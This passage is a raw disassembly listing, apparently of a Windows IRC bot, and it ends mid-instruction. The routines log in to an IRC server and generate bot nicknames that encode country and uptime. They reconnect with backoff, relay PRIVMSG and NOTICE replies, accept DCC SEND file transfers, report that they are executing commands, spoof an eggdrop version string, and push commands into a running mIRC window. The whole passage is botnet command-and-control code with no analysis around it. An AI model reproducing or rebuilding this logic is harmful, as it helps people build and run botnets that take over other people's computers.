sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_405F67 pop ecx pop ecx push [ebp+var_8] push offset aExecutingComma ; "Executing command(s): %s" push 0 push [ebp+var_4] push offset sub_40C93C call sub_4095A4 add esp, 14h locret_40CF23: ; CODE XREF: sub_40CEB0+17j ; sub_40CEB0+2Dj leave retn sub_40CEB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF25 proc near ; CODE XREF: sub_4020C2+B3p ; sub_40D871+59Bp ... push ebp mov ebp, esp mov eax, dword_41EA74 pop ebp retn sub_40CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp ; sub_40D366+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jz short loc_40CF9E push [ebp+arg_0] push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_4], 0 jz short loc_40CF60 push [ebp+arg_4] push offset dword_41EA68 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF71 ; --------------------------------------------------------------------------- loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej push offset a6667 ; "6667" push offset dword_41EA68 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj cmp [ebp+arg_8], 0 jz short loc_40CF88 push [ebp+arg_8] push offset byte_41E7E8 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF99 ; --------------------------------------------------------------------------- loc_40CF88: ; CODE XREF: sub_40CF2F+46j push offset byte_41DF00 push offset byte_41E7E8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF99: ; CODE XREF: sub_40CF2F+57j jmp loc_40D020 ; --------------------------------------------------------------------------- loc_40CF9E: ; CODE XREF: sub_40CF2F+9j and [ebp+var_4], 0 jmp short loc_40CFAB ; --------------------------------------------------------------------------- loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CFAB: ; CODE XREF: sub_40CF2F+73j mov eax, [ebp+var_4] imul eax, 0Ch cmp off_41DB18[eax], 0 jz short loc_40CFBC jmp short loc_40CFA4 ; --------------------------------------------------------------------------- loc_40CFBC: ; CODE XREF: sub_40CF2F+89j call sub_410422 xor edx, edx div [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DB18[eax] push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DB1C[eax] push offset dword_41EA68 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch cmp dword_41DB20[eax], 0 jz short loc_40D020 mov eax, [ebp+var_8] imul eax, 0Ch push dword_41DB20[eax] push offset byte_41E7E8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j ; sub_40CF2F+D7j push offset dword_41E968 call sub_4105AD pop ecx push offset dword_41EA68 call sub_4105AD pop ecx push offset byte_41E7E8 call sub_4105AD pop ecx leave retn sub_40CF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp ; sub_40D871+619p var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = byte ptr -184h var_104 = byte ptr -104h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push edi lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_80] push eax call sub_40668F add esp, 0Ch movsx eax, byte_41E7E8 test eax, eax jz short loc_40D099 push offset byte_41E7E8 call sub_4105FB pop ecx push offset byte_41E7E8 push offset aPassS ; "PASS %s" call sub_40D6CB pop ecx pop ecx push offset byte_41E7E8 call sub_4105AD pop ecx loc_40D099: ; CODE XREF: sub_40D043+2Dj cmp [ebp+arg_0], 0 jz loc_40D132 movsx eax, byte_41EF98 test eax, eax jz short loc_40D0C3 push offset byte_41EF98 lea eax, [ebp+var_184] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D0C3: ; CODE XREF: sub_40D043+69j lea eax, [ebp+var_184] push eax push offset byte_41EF98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D0D6: ; CODE XREF: sub_40D043+7Ej movsx eax, byte_41F118 test eax, eax jz short loc_40D0F6 push offset byte_41F118 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D0F6: ; CODE XREF: sub_40D043+9Cj lea eax, [ebp+var_104] push eax push offset byte_41F118 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D109: ; CODE XREF: sub_40D043+B1j lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_40D6CB add esp, 14h loc_40D132: ; CODE XREF: sub_40D043+5Aj cmp [ebp+arg_4], 0 jz loc_40D363 cmp [ebp+arg_0], 0 jz short loc_40D163 movsx eax, byte_41EF18 test eax, eax jz short loc_40D163 push offset byte_41EF18 push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40D363 ; --------------------------------------------------------------------------- loc_40D163: ; CODE XREF: sub_40D043+FDj ; sub_40D043+108j call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_188], eax cmp [ebp+var_188], 4 jnb short loc_40D18D call sub_406AE7 test eax, eax jz loc_40D31F loc_40D18D: ; CODE XREF: sub_40D043+13Bj call sub_406A23 lea eax, [ebp+var_24C] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40D1B6 push offset aUnk ; "UNK" lea eax, [ebp+var_24C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D1B6: ; CODE XREF: sub_40D043+15Ej call sub_408E8E cmp eax, 400h jbe short loc_40D1CF call sub_408E8E mov [ebp+var_250], eax jmp short loc_40D1D9 ; --------------------------------------------------------------------------- loc_40D1CF: ; CODE XREF: sub_40D043+17Dj mov [ebp+var_250], 400h loc_40D1D9: ; CODE XREF: sub_40D043+18Aj mov eax, [ebp+var_250] shr eax, 0Ah mov [ebp+var_228], eax call sub_408887 mov [ebp+var_18C], eax mov [ebp+var_224], offset aB ; "B" cmp [ebp+var_18C], 2EEh jnb short loc_40D213 mov [ebp+var_224], offset aA ; "A" loc_40D213: ; CODE XREF: sub_40D043+1C4j cmp [ebp+var_18C], 1F4h jnb short loc_40D229 mov [ebp+var_224], offset aG ; "G" loc_40D229: ; CODE XREF: sub_40D043+1DAj and [ebp+var_22C], 0 mov [ebp+var_220], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_21C] rep stosd lea eax, [ebp+var_220] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_21C], 5 jnz short loc_40D270 cmp [ebp+var_218], 1 jnz short loc_40D270 mov [ebp+var_22C], 1 loc_40D270: ; CODE XREF: sub_40D043+218j ; sub_40D043+221j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_22C], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_224] push [ebp+var_228] push 5Dh push [ebp+var_188] push 5Bh push 5Dh lea eax, [ebp+var_24C] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_80] push eax call sub_416B5E ; sprintf add esp, 34h movsx eax, byte_41DC08 test eax, eax jz short loc_40D31D push offset byte_41DC08 push offset dword_41DB88 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DB88 call sub_4105FB pop ecx movsx eax, byte_41DC88 test eax, eax jz short loc_40D31D push offset byte_41DC88 push offset dword_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EE18 call sub_4105FB pop ecx loc_40D31D: ; CODE XREF: sub_40D043+295j ; sub_40D043+2BCj jmp short loc_40D343 ; --------------------------------------------------------------------------- loc_40D31F: ; CODE XREF: sub_40D043+144j push offset dword_41DB78 lea eax, [ebp+var_80] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_80] push eax call sub_4105FB pop ecx lea eax, [ebp+var_80] push eax call sub_40D7E5 pop ecx loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj lea eax, [ebp+var_80] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx lea eax, [ebp+var_80] push eax push offset byte_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D363: ; CODE XREF: sub_40D043+F3j ; sub_40D043+11Bj pop edi leave retn sub_40D043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p ; sub_40D871+4A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF2F add esp, 0Ch push dword_41EA74 call sub_40538D pop ecx mov [ebp+var_4], 0EA60h loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j push offset dword_41E968 call sub_4105FB pop ecx push offset dword_41EA68 call sub_4105FB pop ecx push 2710h push 1 push offset dword_41EA68 push offset dword_41E968 call sub_4050EA add esp, 10h mov dword_41EA74, eax push offset dword_41E968 call sub_4105AD pop ecx push offset dword_41EA68 call sub_4105AD pop ecx cmp dword_41EA74, 0 jz short loc_40D3EE push 1 push 1 call sub_40D043 pop ecx pop ecx jmp short locret_40D41E ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D366+79j push 0 push 0 push 0 call sub_40CF2F add esp, 0Ch push [ebp+var_4] call dword_41709C ; Sleep cmp [ebp+var_4], 0A4CB80h jge short loc_40D419 mov eax, [ebp+var_4] add eax, 0EA60h mov [ebp+var_4], eax loc_40D419: ; CODE XREF: sub_40D366+A6j jmp loc_40D38E ; --------------------------------------------------------------------------- locret_40D41E: ; CODE XREF: sub_40D366+86j leave retn sub_40D366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: sub_4020C2+1DEp ; sub_40A9CF+1219p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41EA74 call sub_4053BF add esp, 0Ch leave retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4AB proc near ; CODE XREF: sub_4020C2+21Bp ; sub_40332B+1A6p ... var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1004] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_1008], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_1008] push eax mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41EA74 call sub_4053BF add esp, 0Ch leave retn sub_40D4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D53F proc near ; CODE XREF: sub_401244+51p ; sub_401244+41Ep ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_40D55F jmp locret_40D6C9 ; --------------------------------------------------------------------------- loc_40D55F: ; CODE XREF: sub_40D53F+19j and [ebp+var_8], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 1 jnz short loc_40D58F mov eax, [ebp+arg_0] add eax, 21h push eax push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40D53F+2Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jnz short loc_40D5BB mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A058 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D5E7 mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A048 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: sub_40D53F+86j mov eax, [ebp+arg_0] add eax, 21h push eax push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax loc_40D605: ; CODE XREF: sub_40D53F+4Ej ; sub_40D53F+7Aj ... mov eax, [ebp+arg_0] cmp dword ptr [eax+19Fh], 0 jz short loc_40D63C mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D629 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D63C loc_40D629: ; CODE XREF: sub_40D53F+DCj push offset dword_41A03C lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D63C: ; CODE XREF: sub_40D53F+D0j ; sub_40D53F+E8j lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D680 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D693 loc_40D680: ; CODE XREF: sub_40D53F+133j push offset dword_41A038 lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D693: ; CODE XREF: sub_40D53F+13Fj push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41EA74 call sub_4053BF add esp, 0Ch locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj leave retn sub_40D53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6CB proc near ; CODE XREF: sub_40332B+205p ; sub_40332B+212p ... var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_416BC0 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push 1000h lea eax, [ebp+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41EA74 call sub_4053BF add esp, 0Ch leave retn sub_40D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push offset aMirc ; "mIRC" call dword_4171E8 ; FindWindowA mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40D734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_40D75E jmp locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: sub_40D74D+Aj call sub_40D734 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40D76E jmp short locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D76E: ; CODE XREF: sub_40D74D+1Dj push offset aMirc ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh call dword_4170C0 ; CreateFileMappingA mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] call dword_4170BC ; MapViewOfFile mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_416B5E ; sprintf pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call dword_4171EC ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call dword_4171EC ; SendMessageA push [ebp+var_C] call dword_4170B8 ; UnmapViewOfFile push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40D7E3: ; CODE XREF: sub_40D74D+Cj ; sub_40D74D+1Fj leave retn sub_40D74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p ; sub_40D043+2FAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40D803 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D803: ; CODE XREF: sub_40D7E5+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short locret_40D86F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40D82E push 39h push 30h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D82E: ; CODE XREF: sub_40D7E5+32j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40D86D call sub_410483 test eax, eax jz short loc_40D85A push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej push 5Ah push 41h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al loc_40D86D: ; CODE XREF: sub_40D7E5+47j ; sub_40D7E5+55j ... jmp short loc_40D7FC ; --------------------------------------------------------------------------- locret_40D86F: ; CODE XREF: sub_40D7E5+24j leave retn sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D871 proc near ; CODE XREF: sub_40E618+321p var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = byte ptr -7BCh var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_4B4 = byte ptr -4B4h var_490 = byte ptr -490h var_390 = byte ptr -390h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_238 = dword ptr -238h var_234 = byte ptr -234h var_213 = byte ptr -213h var_113 = dword ptr -113h var_10F = byte ptr -10Fh var_95 = dword ptr -95h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7E8h push edi push offset aPing ; "PING" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8A7 mov eax, [ebp+arg_C] push dword ptr [eax+4] push offset aPongS ; "PONG %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8A7: ; CODE XREF: sub_40D871+1Dj push offset aPong ; "PONG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8C2 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D871+4Aj push offset aMode ; "MODE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8DD jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8DD: ; CODE XREF: sub_40D871+65j push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DB2D mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz loc_40DB2D mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax+1] cmp eax, 1 jnz loc_40DB2D push offset dword_41A14C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jz loc_40DA81 push offset aSend ; "SEND" mov eax, [ebp+arg_C] push dword ptr [eax+10h] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 cmp [ebp+arg_0], 0 jz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+14h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+18h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+1Ch], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+20h], 0 jnz short loc_40D98B loc_40D986: ; CODE XREF: sub_40D871+F8j ; sub_40D871+101j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D871+113j mov eax, [ebp+arg_C] mov eax, [eax+14h] movsx eax, byte ptr [eax] cmp eax, 22h jnz short loc_40D99E jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D871+126j mov eax, [ebp+arg_C] push dword ptr [eax+20h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+20h] and byte ptr [ecx+eax], 0 push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DB88 lea eax, [ebp+var_213] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_113], 0 push 7Ah push 0 lea eax, [ebp+var_10F] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_95], 1 mov eax, [ebp+arg_C] push dword ptr [eax+18h] call sub_416B9C ; atoi pop ecx mov [ebp+var_238], eax movzx eax, byte ptr [ebp+var_238] push eax mov eax, [ebp+var_238] shr eax, 8 movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 10h movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 18h movzx eax, al push eax push offset dword_418A50 lea eax, [ebp+var_248] push eax call sub_416B5E ; sprintf add esp, 18h mov eax, [ebp+arg_C] push dword ptr [eax+20h] mov eax, [ebp+arg_C] push dword ptr [eax+1Ch] lea eax, [ebp+var_248] push eax mov eax, [ebp+arg_C] push dword ptr [eax+14h] push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_4024F3 add esp, 18h jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DA81: ; CODE XREF: sub_40D871+BAj ; sub_40D871+C7j ... push offset dword_41A138 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DAAD push offset dword_41A12C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40DAEB loc_40DAAD: ; CODE XREF: sub_40D871+224j cmp [ebp+arg_0], 0 jz short loc_40DAD1 push offset dword_41DD08 push 3B7h push 0 push offset dword_41A108 push [ebp+arg_4] call sub_40D420 add esp, 14h jmp short loc_40DAE6 ; --------------------------------------------------------------------------- loc_40DAD1: ; CODE XREF: sub_40D871+240j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_41A0E8 push [ebp+arg_4] call sub_40D420 add esp, 0Ch loc_40DAE6: ; CODE XREF: sub_40D871+25Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DAEB: ; CODE XREF: sub_40D871+23Aj push offset dword_41A0E0 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DB16 push offset dword_41A0D8 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call dword_417108 ; lstrcmp test eax, eax jnz short loc_40DB2D loc_40DB16: ; CODE XREF: sub_40D871+28Ej mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_40D420 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DB2D: ; CODE XREF: sub_40D871+80j ; sub_40D871+8Dj ... push offset a433 ; "433" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DCFD call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_2CC], eax cmp [ebp+var_2CC], 4 jnb short loc_40DB71 call sub_406AE7 test eax, eax jz loc_40DCB8 loc_40DB71: ; CODE XREF: sub_40D871+2F1j call sub_406A23 lea eax, [ebp+var_390] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40DB9A push offset aUnk ; "UNK" lea eax, [ebp+var_390] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DB9A: ; CODE XREF: sub_40D871+314j call sub_408E8E cmp eax, 400h jbe short loc_40DBB3 call sub_408E8E mov [ebp+var_7E4], eax jmp short loc_40DBBD ; --------------------------------------------------------------------------- loc_40DBB3: ; CODE XREF: sub_40D871+333j mov [ebp+var_7E4], 400h loc_40DBBD: ; CODE XREF: sub_40D871+340j mov eax, [ebp+var_7E4] shr eax, 0Ah mov [ebp+var_36C], eax call sub_408887 mov [ebp+var_2D0], eax mov [ebp+var_368], offset aB ; "B" cmp [ebp+var_2D0], 3E8h jnb short loc_40DBF7 mov [ebp+var_368], offset aA ; "A" loc_40DBF7: ; CODE XREF: sub_40D871+37Aj cmp [ebp+var_2D0], 1F4h jnb short loc_40DC0D mov 